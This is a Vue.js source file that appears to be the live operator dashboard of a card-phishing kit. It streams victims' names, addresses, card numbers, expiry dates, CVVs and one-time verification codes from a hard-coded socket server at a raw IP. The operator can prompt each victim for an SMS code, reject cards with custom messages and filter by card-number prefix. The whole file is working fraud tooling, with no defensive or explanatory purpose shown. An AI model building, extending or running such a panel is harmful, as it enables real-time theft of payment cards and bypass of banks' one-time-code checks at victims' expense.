<template>
    <div class="wrapper">
        <div class="title">
            <div>
                <span>实时动态</span>
                <span
                    class="sub-title"
                    style="font-weight: bold; color: #456aa6"
                    >前台在线人数
                    <span style="color: #f00606">{{
                        onlineUsersCount
                    }}</span></span
                >
            </div>
            <div>
                <el-button @click="(drawer = true), getSetting()"
                    >设置</el-button
                >
            </div>
        </div>
        <div class="list">
            <div
                v-for="(item, index) in list"
                :key="item.id + '' + index"
                class="item"
                :class="{ done: item.button_sumbit == 999 }"
            >
                <div>
                    <div class="item-title">
                        <span style="margin-right: 10px"
                            >编号：{{ item.id }}</span
                        >
                        <span v-if="everyAnyProperty(item, cardProps)">
                            <el-tag
                                style="margin-right: 10px"
                                v-for="(i, idx) in cardProps"
                                :key="item.id + i + idx"
                                :type="
                                    idx === 0
                                        ? ''
                                        : idx === cardProps.length - 1
                                        ? 'danger'
                                        : 'info'
                                "
                                effect="plain"
                                size="mini"
                                >{{ item[i] }}</el-tag
                            >
                        </span>
                    </div>
                    <span class="info-text">
                        {{ formatTime(new Date(item.client_time).getTime()) }}
                    </span>
                    <span
                        v-if="
                            item.button_sumbit === 2 || item.button_sumbit === 3
                        "
                        class="record-text shake-element"
                    >
                        用户已提交{{
                            { 1: "地址", 2: "卡号", 3: "验证码" }[
                                item.button_sumbit
                            ]
                        }}
                    </span>
                    <span class="info-text" v-if="item.button_sumbit == 999"
                        >当前已填写完成</span
                    >
                    <span v-else class="info-text"
                        >当前正在操作{{
                            {
                                0: "首页",
                                1: "地址页面",
                                2: "卡页面",
                                3: "激活码页面",
                            }[item.status]
                        }}</span
                    >
                    <ShowMoreBtn
                        v-if="hasAnyProperty(item, addressProps)"
                        btnStyle="margin-right: 10px;"
                        :showProps="addressProps"
                        :detail="item"
                        title="在填地址页"
                        btnName="在填地址页"
                    />
                    <ShowMoreBtn
                        v-if="hasAnyProperty(item, cardProps)"
                        btnStyle="margin-right: 10px;"
                        :showProps="cardProps"
                        :detail="item"
                        title="在填卡页"
                        btnName="在填卡页"
                    />
                    <ShowMoreBtn
                        v-if="hasAnyProperty(item, codeProps)"
                        btnStyle="margin-right: 10px;"
                        :showProps="codeProps"
                        :detail="item"
                        title="在填验证码页"
                        btnName="在填验证码页"
                    />
                </div>
                <div>
                    <el-dropdown
                        v-if="item.button_sumbit === 2 && !showMessage"
                        split-button
                        type="primary"
                        @click="step(1, item)"
                        @command="(type) => step(type, item)"
                    >
                        验证码验证
                        <el-dropdown-menu slot="dropdown">
                            <!-- <el-dropdown-item :command="6"
                                >RUT+密码确认</el-dropdown-item
                            > -->
                            <!-- <el-dropdown-item :command="1"
                                >验证码验证</el-dropdown-item
                            > -->
                            <!-- <el-dropdown-item :command="2"
                                >APP验证</el-dropdown-item
                            > -->
                            <el-dropdown-item :command="3"
                                >拒绝卡号</el-dropdown-item
                            >
                            <el-dropdown-item :command="4"
                                >跳转完成</el-dropdown-item
                            >
                        </el-dropdown-menu>
                    </el-dropdown>

                    <el-dropdown
                        v-if="item.button_sumbit === 3 && !showMessage"
                        split-button
                        type="primary"
                        @click="step(8, item)"
                        @command="(type) => step(type, item)"
                    >
                        接收验证码
                        <el-dropdown-menu slot="dropdown">
                            <el-dropdown-item :command="10"
                                >拒绝验证码</el-dropdown-item
                            >
                            <!-- <el-dropdown-item :command="5"
                                >密码确认</el-dropdown-item
                            > -->
                        </el-dropdown-menu>
                    </el-dropdown>
                    <el-button-group v-if="item.button_sumbit === 4">
                        <el-button @click="step(7, item)" type="primary"
                            >返回上一步</el-button
                        >
                    </el-button-group>
                    <div v-if="showMessage">
                        <el-input
                            placeholder="请输入提示信息，回车确认"
                            @keyup.enter.native="sendMessage(item)"
                            v-model="message"
                        ></el-input>
                    </div>
                </div>
            </div>
        </div>

        <el-drawer title="设置" :visible.sync="drawer" :direction="direction">
            <el-form
                :model="form"
                ref="form"
                label-position="top"
                :rules="rules"
                :disabled="disabled"
            >
                <div style="padding: 0 16px">
                    <el-form-item prop="black_card_list" label="黑名单卡头">
                        <el-input
                            type="textarea"
                            :rows="2"
                            placeholder="黑名单卡头 (,分隔)"
                            v-model="form.black_card_list"
                        >
                        </el-input>
                    </el-form-item>
                    <el-form-item prop="highlight_card_list" label="白名单卡头">
                        <el-input
                            type="textarea"
                            :rows="2"
                            placeholder="白名单卡头 (,分隔)"
                            v-model="form.highlight_card_list"
                        >
                        </el-input>
                    </el-form-item>

                    <el-collapse>
                        <el-collapse-item title="提醒设置" name="1">
                            <el-form-item
                                prop="user_enter"
                                label="用户进入提醒"
                            >
                                <el-switch
                                    :active-value="1"
                                    :inactive-value="0"
                                    v-model="form.remind_setting.user_enter"
                                ></el-switch>
                            </el-form-item>
                            <el-form-item
                                prop="admin_enter"
                                label="后台用户进入提醒"
                            >
                                <el-switch
                                    :active-value="1"
                                    :inactive-value="0"
                                    v-model="form.remind_setting.admin_enter"
                                ></el-switch>
                            </el-form-item>
                            <el-form-item
                                prop="intercept_user"
                                label="拦截用户提醒"
                            >
                                <el-switch
                                    :active-value="1"
                                    :inactive-value="0"
                                    v-model="form.remind_setting.intercept_user"
                                ></el-switch>
                            </el-form-item>
                        </el-collapse-item>

                        <el-collapse-item title="数据过滤" name="2">
                            <el-form-item
                                prop="fill_card"
                                label="仅显示填卡用户"
                            >
                                <el-switch
                                    :active-value="1"
                                    :inactive-value="0"
                                    v-model="form.data_filter.fill_card"
                                ></el-switch>
                            </el-form-item>
                            <el-form-item
                                prop="hide_invalid_card"
                                label="仅显示填卡用户"
                            >
                                <el-switch
                                    :active-value="1"
                                    :inactive-value="0"
                                    v-model="form.data_filter.hide_invalid_card"
                                ></el-switch>
                            </el-form-item>
                        </el-collapse-item>

                        <el-collapse-item title="拒绝信息" name="3">
                            <el-form-item prop="refuse_c" label="拒绝 C 卡">
                                <el-switch
                                    :active-value="1"
                                    :inactive-value="0"
                                    v-model="form.refuse_info.refuse_c"
                                ></el-switch>
                            </el-form-item>
                            <el-form-item
                                prop="refuse_c_msg"
                                label="拒绝 C 卡消息"
                            >
                                <el-input
                                    v-model="form.refuse_info.refuse_c_msg"
                                ></el-input>
                            </el-form-item>
                            <el-form-item prop="refuse_d" label="拒绝 D 卡消息">
                                <el-switch
                                    :active-value="1"
                                    :inactive-value="0"
                                    v-model="form.refuse_info.refuse_d"
                                ></el-switch>
                            </el-form-item>
                            <el-form-item
                                prop="refuse_d_msg"
                                label="拒绝 D 卡消息"
                            >
                                <el-input
                                    :active-value="1"
                                    :inactive-value="0"
                                    v-model="form.refuse_info.refuse_d_msg"
                                ></el-input>
                            </el-form-item>

                            <el-form-item
                                prop="common_refuse_msg"
                                label="通用拒绝消息"
                            >
                                <el-input
                                    :active-value="1"
                                    :inactive-value="0"
                                    v-model="form.refuse_info.common_refuse_msg"
                                ></el-input>
                            </el-form-item>
                        </el-collapse-item>
                    </el-collapse>
                    <div style="margin-top: 10px">
                        <el-button @click="cancel">取消</el-button>
                        <el-button type="primary" @click="submit"
                            >确认</el-button
                        >
                    </div>
                </div>
            </el-form>
        </el-drawer>
    </div>
</template>

<script>
import { io } from "socket.io-client";
import {
    refreshPage,
    jumpNextStepAction,
    getSetting,
    updateSetting,
} from "@/api/tool/dataSearch";
import ShowMoreBtn from "../dataSearch/showMoreBtn.vue";
import { mapGetters } from "vuex";
import { formatTime } from "@/utils/index";
export default {
    components: {
        ShowMoreBtn,
    },
    data() {
        return {
            showMessage: false,
            direction: "rtl",
            drawer: false,
            message: "",
            form: {
                remind_setting: {},
                data_filter: {},
                refuse_info: {},
            },
            rules: {},
            disabled: false,
            current: {},
            list: [],
            onlineUsersCount: 0,
            addressProps: [
                "email",
                "first_name",
                "last_name",
                "phone_number",
                "country",
                "region",
                "city",
                "status",
                "postal_code",
                "street",
                "street_number",
                "home_address",
            ],
            cardProps: [
                "cardholder_name",
                "card_number",
                "expiry_date",
                "cvv",
                "verification_code",
            ],
            codeProps: ["verification_code"],
        };
    },
    mounted() {
        this.init();
    },
    computed: {
        ...mapGetters(["user"]),
    },
    methods: {
        formatTime,
        getSetting() {
            getSetting({}).then((result) => {
                this.form = result;
            });
        },
        cancel() {
            this.drawer = false;
            this.form = {
                remind_setting: {},
                data_filter: {},
                refuse_info: {},
            };
        },
        submit() {
            const params = {
                ...this.form,
            };
            updateSetting(params).then((result) => {
                console.log(result, "result");
                this.$message.success("保存成功");
                this.drawer = false;
            });
        },
        sendMessage(item) {
            jumpNextStepAction({
                unique_code: item.unique_code,
                action_type: this.current.action_type || "",
                message: this.message,
            }).then((r) => {
                this.$message.success(`${item.unique_code}:提示信息`);
                this.current = {};
                this.message = "";
                this.showMessage = false;
                this.refreshPage();
            });
        },
        step(type, item) {
            if (type === 3 || type === 10) {
                this.current = { ...item, action_type: type };
                this.showMessage = true;
                return;
            }
            jumpNextStepAction({
                unique_code: item.unique_code,
                action_type: type,
            }).then((result) => {
                if (result) {
                    this.refreshPage();
                    this.$message.success(
                        `${item.unique_code}:${
                            {
                                1: "验证码验证",
                                2: "APP验证",
                                3: "拒绝卡号",
                                4: "跳转验证",

                                5: "密码确认",
                                6: "RUT+密码确认",
                                7: "返回上一步",
                                8: "接收验证码",
                                9: "改app验证",
                                10: "拒绝验证码",
                            }[type]
                        }`
                    );
                }
            });
        },
        hasAnyProperty(obj, properties) {
            return properties.some((property) => {
                return (
                    obj.hasOwnProperty(property) &&
                    obj[property] !== null &&
                    obj[property] !== undefined &&
                    obj[property] !== ""
                );
            });
        },
        everyAnyProperty(obj, properties) {
            return properties.every((property) => {
                return (
                    obj.hasOwnProperty(property) &&
                    obj[property] !== null &&
                    obj[property] !== undefined &&
                    obj[property] !== ""
                );
            });
        },
        async init() {
            // const ip = await this.getIp();
            var socket = io("http://38.61.1.233:8000", {
                transports: ["websocket"],
                secure: true,
                query: {
                    admin_user_id: this.user.userId,
                    unique_code: "admin",
                    page_url: window.location.host,
                    client_page: true,
                },
            });
            socket.on("disconnect", (e) => {});
            socket.on("connect_error", (e) => {});
            socket.on("connect", () => {
                this.refreshPage();
            });
            socket.on("update_online_count", function (data) {
                this.onlineUsersCount = data.count; // 更新页面标题为当前在线人数
            });

            socket.on("receive_message_admin", (messageData) => {
                console.log(messageData, "messageData");
                if (
                    !this.list.find(
                        (item) =>
                            item.unique_code === messageData.message.unique_code
                    )
                ) {
                    this.list.push(messageData.message);
                }
                this.list = this.list.map((item) => {
                    if (item.id == messageData.message.id) {
                        item = messageData.message;
                    }
                    return item;
                });
            });
        },
        refreshPage() {
            refreshPage({}).then((result) => {
                console.log(result, "results");
                this.onlineUsersCount = result.onlineUsersCount;
                this.list = Object.entries(result.userDataMap).map(
                    (item) => item[1]
                );
            });
        },
        createOrUpdate() {},
        getIp() {
            return new Promise((reslove, reject) => {
                fetch("http://api.ipify.org/?format=json", {
                    method: "get",
                    mode: "cors",
                    headers: {
                        "Content-Type": "application/json", // 设置请求头
                    },
                })
                    .then((res) => {
                        return res.json();
                    })
                    .then((data) => {
                        console.log(data, "data");
                        reslove(data.ip);
                    });
            });
        },
    },
};
</script>
<style lang="scss" scoped>
@keyframes shake {
    0%,
    100% {
        transform: translateX(0);
    }
    10%,
    30%,
    50%,
    70%,
    90% {
        transform: translateX(-10px);
    }
    20%,
    40%,
    60%,
    80% {
        transform: translateX(10px);
    }
}

.shake-element {
    animation: shake 2s 0s infinite;
}
.wrapper {
    padding: 32px;
    .title {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-bottom: 32px;
        .sub-title {
            margin-left: 10px;
            font-size: 12px;
            color: #999;
        }
    }

    .list {
        .item {
            // height: 80px;
            padding: 16px;
            border: 1px solid #efefef;
            margin-bottom: 10px;
            box-sizing: content-box;
            display: flex;
            justify-content: space-between;
            align-items: center;
            border-radius: 8px;
            .info-text,
            .record-text {
                margin-right: 10px;
                font-size: 12px;
                color: #999;
            }
            .record-text {
                display: inline-block;
                font-weight: 500;
                color: red;
            }
            .item-title {
                margin-bottom: 10px;
            }
        }
    }
}

.done {
    filter: grayscale(100%);
    color: #999;
    background: #eeffee;
}
</style>
<style>
</style>